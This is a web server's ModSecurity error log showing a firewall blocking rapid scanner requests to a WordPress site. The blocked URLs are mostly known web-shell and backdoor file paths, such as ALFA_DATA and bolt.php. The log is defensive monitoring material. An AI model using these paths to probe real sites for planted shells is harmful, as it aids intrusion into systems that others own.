[Wed Mar 25 07:38:48.100216 2026] [:error] [pid 26320:tid 26329] [client 45.94.31.15:56204] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgiDkUgS2mHAojGnl5UQAAAcA"], referer: www.google.com
[Wed Mar 25 07:38:48.171896 2026] [:error] [pid 26321:tid 26351] [client 45.94.31.15:57699] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgiPKO65qqGZCSPZqxbQAAAgo"], referer: www.google.com
[Wed Mar 25 08:33:32.807659 2026] [:error] [pid 26269:tid 26277] [client 170.106.65.93:33380] [client 170.106.65.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acMtXEn7e-ZQbaIs7qyDrQAAAYE"]
[Wed Mar 25 09:26:49.357364 2026] [:error] [pid 26449:tid 26473] [client 158.158.72.125:35191] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acM52dpZ2T15NDqzAjHX5AAAAlQ"]
[Wed Mar 25 09:26:49.971803 2026] [:error] [pid 47989:tid 48005] [client 158.158.72.125:40198] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acM52SWKdJMhIccROjnJowAAAU4"]
[Wed Mar 25 09:26:50.532960 2026] [:error] [pid 754:tid 780] [client 158.158.72.125:35082] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acM52jisL3asPbA3CtjZcAAAAA8"]
[Wed Mar 25 09:26:51.204132 2026] [:error] [pid 26449:tid 26468] [client 158.158.72.125:27061] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acM529pZ2T15NDqzAjHX6gAAAk8"]
[Wed Mar 25 09:26:51.738905 2026] [:error] [pid 47946:tid 47957] [client 158.158.72.125:34604] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acM52zipQTqBMSeKYhc5NQAAAQk"]
[Wed Mar 25 09:26:52.405579 2026] [:error] [pid 26449:tid 26456] [client 158.158.72.125:40215] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acM53NpZ2T15NDqzAjHX8QAAAkM"]
[Wed Mar 25 09:26:52.964639 2026] [:error] [pid 26449:tid 26477] [client 158.158.72.125:34677] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acM53NpZ2T15NDqzAjHX8wAAAlg"]
[Wed Mar 25 09:26:53.510278 2026] [:error] [pid 756:tid 860] [client 158.158.72.125:40209] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acM53TOaW6oylMIDBCTeVwAAAIg"]
[Wed Mar 25 09:26:54.188824 2026] [:error] [pid 47946:tid 47950] [client 158.158.72.125:7056] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acM53jipQTqBMSeKYhc5OwAAAQI"]
[Wed Mar 25 09:26:54.947758 2026] [:error] [pid 756:tid 859] [client 158.158.72.125:52946] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acM53jOaW6oylMIDBCTeXAAAAIc"]
[Wed Mar 25 09:26:55.659311 2026] [:error] [pid 47989:tid 48014] [client 158.158.72.125:31598] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acM53yWKdJMhIccROjnJpgAAAVc"]
[Wed Mar 25 09:26:56.257852 2026] [:error] [pid 47946:tid 47972] [client 158.158.72.125:52975] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acM54DipQTqBMSeKYhc5QAAAARg"]
[Wed Mar 25 09:26:56.773023 2026] [:error] [pid 756:tid 864] [client 158.158.72.125:25765] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acM54DOaW6oylMIDBCTeYwAAAIw"]
[Wed Mar 25 09:26:57.379585 2026] [:error] [pid 47989:tid 48011] [client 158.158.72.125:21563] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acM54SWKdJMhIccROjnJsAAAAVQ"]
[Wed Mar 25 09:26:57.971435 2026] [:error] [pid 47989:tid 47995] [client 158.158.72.125:60350] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acM54SWKdJMhIccROjnJsgAAAUQ"]
[Wed Mar 25 09:26:58.495439 2026] [:error] [pid 26449:tid 26454] [client 158.158.72.125:44346] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acM54tpZ2T15NDqzAjHYBQAAAkE"]
[Wed Mar 25 09:26:58.990785 2026] [:error] [pid 26269:tid 26292] [client 158.158.72.125:35112] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acM54kn7e-ZQbaIs7qyHlQAAAZA"]
[Wed Mar 25 09:26:59.565217 2026] [:error] [pid 26320:tid 26334] [client 158.158.72.125:31607] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acM54zkUgS2mHAojGnmCqAAAAcU"]
[Wed Mar 25 09:27:00.061019 2026] [:error] [pid 892:tid 906] [client 158.158.72.125:44331] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acM55CT_G8WMU3T3yxpjSAAAAMg"]
[Wed Mar 25 09:27:00.546867 2026] [:error] [pid 47989:tid 48009] [client 158.158.72.125:25764] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acM55CWKdJMhIccROjnJtgAAAVI"]
[Wed Mar 25 09:27:01.038357 2026] [:error] [pid 26449:tid 26471] [client 158.158.72.125:34563] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acM55dpZ2T15NDqzAjHYCgAAAlI"]
[Wed Mar 25 09:27:01.529671 2026] [:error] [pid 26449:tid 26463] [client 158.158.72.125:27051] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acM55dpZ2T15NDqzAjHYDQAAAko"]
[Wed Mar 25 09:27:02.053111 2026] [:error] [pid 26449:tid 26476] [client 158.158.72.125:27041] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acM55tpZ2T15NDqzAjHYFAAAAlc"]
[Wed Mar 25 09:27:02.555427 2026] [:error] [pid 892:tid 923] [client 158.158.72.125:25778] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acM55iT_G8WMU3T3yxpjSgAAANg"]
[Wed Mar 25 09:27:03.037139 2026] [:error] [pid 756:tid 870] [client 158.158.72.125:36335] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acM55zOaW6oylMIDBCTeeAAAAJI"]
[Wed Mar 25 09:27:03.536914 2026] [:error] [pid 26321:tid 26357] [client 158.158.72.125:27031] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acM55_KO65qqGZCSPZrCvwAAAhA"]
[Wed Mar 25 09:27:04.143891 2026] [:error] [pid 754:tid 775] [client 158.158.72.125:27765] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acM56DisL3asPbA3CtjZdgAAAAo"]
[Wed Mar 25 09:27:04.688067 2026] [:error] [pid 26449:tid 26456] [client 158.158.72.125:21566] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "acM56NpZ2T15NDqzAjHYHgAAAkM"]
[Wed Mar 25 09:27:05.165280 2026] [:error] [pid 756:tid 868] [client 158.158.72.125:44294] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acM56TOaW6oylMIDBCTehQAAAJA"]
[Wed Mar 25 09:27:05.671152 2026] [:error] [pid 47989:tid 47997] [client 158.158.72.125:52989] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acM56SWKdJMhIccROjnJuQAAAUY"]
[Wed Mar 25 09:27:06.182305 2026] [:error] [pid 47989:tid 48002] [client 158.158.72.125:22161] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acM56iWKdJMhIccROjnJuwAAAUs"]
[Wed Mar 25 09:27:06.674221 2026] [:error] [pid 26269:tid 26281] [client 158.158.72.125:27039] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acM56kn7e-ZQbaIs7qyHlgAAAYU"]
[Wed Mar 25 09:27:07.198912 2026] [:error] [pid 47946:tid 47955] [client 158.158.72.125:27715] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acM56zipQTqBMSeKYhc5SwAAAQc"]
[Wed Mar 25 09:27:07.707021 2026] [:error] [pid 26449:tid 26474] [client 158.158.72.125:35106] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acM569pZ2T15NDqzAjHYLwAAAlU"]
[Wed Mar 25 09:27:08.302851 2026] [:error] [pid 26449:tid 26469] [client 158.158.72.125:22173] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acM57NpZ2T15NDqzAjHYNAAAAlA"]
[Wed Mar 25 09:27:08.840827 2026] [:error] [pid 26449:tid 26475] [client 158.158.72.125:53609] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acM57NpZ2T15NDqzAjHYOgAAAlY"]
[Wed Mar 25 09:27:09.344295 2026] [:error] [pid 47989:tid 48013] [client 158.158.72.125:44306] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acM57SWKdJMhIccROjnJvQAAAVY"]
[Wed Mar 25 09:27:09.842879 2026] [:error] [pid 26321:tid 26344] [client 158.158.72.125:22160] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acM57fKO65qqGZCSPZrCwAAAAgU"]
[Wed Mar 25 09:27:10.450122 2026] [:error] [pid 47989:tid 48011] [client 158.158.72.125:22149] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acM57iWKdJMhIccROjnJvwAAAVQ"]
[Wed Mar 25 09:27:10.993289 2026] [:error] [pid 26449:tid 26457] [client 158.158.72.125:36318] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acM57tpZ2T15NDqzAjHYQwAAAkQ"]
[Wed Mar 25 09:27:11.516492 2026] [:error] [pid 47946:tid 47958] [client 158.158.72.125:44301] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "acM57zipQTqBMSeKYhc5VwAAAQo"]
[Wed Mar 25 09:27:12.143604 2026] [:error] [pid 26449:tid 26462] [client 158.158.72.125:21537] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "acM58NpZ2T15NDqzAjHYRwAAAkk"]
[Wed Mar 25 09:27:12.681652 2026] [:error] [pid 26449:tid 26460] [client 158.158.72.125:44326] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "acM58NpZ2T15NDqzAjHYSQAAAkc"]
[Wed Mar 25 09:27:13.180773 2026] [:error] [pid 47989:tid 47993] [client 158.158.72.125:35073] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "acM58SWKdJMhIccROjnJwgAAAUI"]
[Wed Mar 25 09:27:13.661657 2026] [:error] [pid 47989:tid 48007] [client 158.158.72.125:44328] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acM58SWKdJMhIccROjnJxAAAAVA"]
[Wed Mar 25 09:27:14.198117 2026] [:error] [pid 756:tid 859] [client 158.158.72.125:36309] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acM58jOaW6oylMIDBCTemAAAAIc"]
[Wed Mar 25 09:27:14.685735 2026] [:error] [pid 47989:tid 48000] [client 158.158.72.125:25776] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acM58iWKdJMhIccROjnJxwAAAUk"]
[Wed Mar 25 09:27:15.218112 2026] [:error] [pid 26449:tid 26461] [client 158.158.72.125:53630] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acM589pZ2T15NDqzAjHYTgAAAkg"]
[Wed Mar 25 09:27:15.716554 2026] [:error] [pid 26449:tid 26471] [client 158.158.72.125:60331] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acM589pZ2T15NDqzAjHYUQAAAlI"]
[Wed Mar 25 09:27:16.224604 2026] [:error] [pid 756:tid 870] [client 158.158.72.125:44332] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acM59DOaW6oylMIDBCTenAAAAJI"]
[Wed Mar 25 09:27:16.718512 2026] [:error] [pid 26449:tid 26460] [client 158.158.72.125:65505] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acM59NpZ2T15NDqzAjHYVgAAAkc"]
[Wed Mar 25 09:27:17.259838 2026] [:error] [pid 26269:tid 26283] [client 158.158.72.125:52972] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acM59Un7e-ZQbaIs7qyHmAAAAYc"]
[Wed Mar 25 09:27:17.807889 2026] [:error] [pid 756:tid 867] [client 158.158.72.125:58521] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acM59TOaW6oylMIDBCTenQAAAI8"]
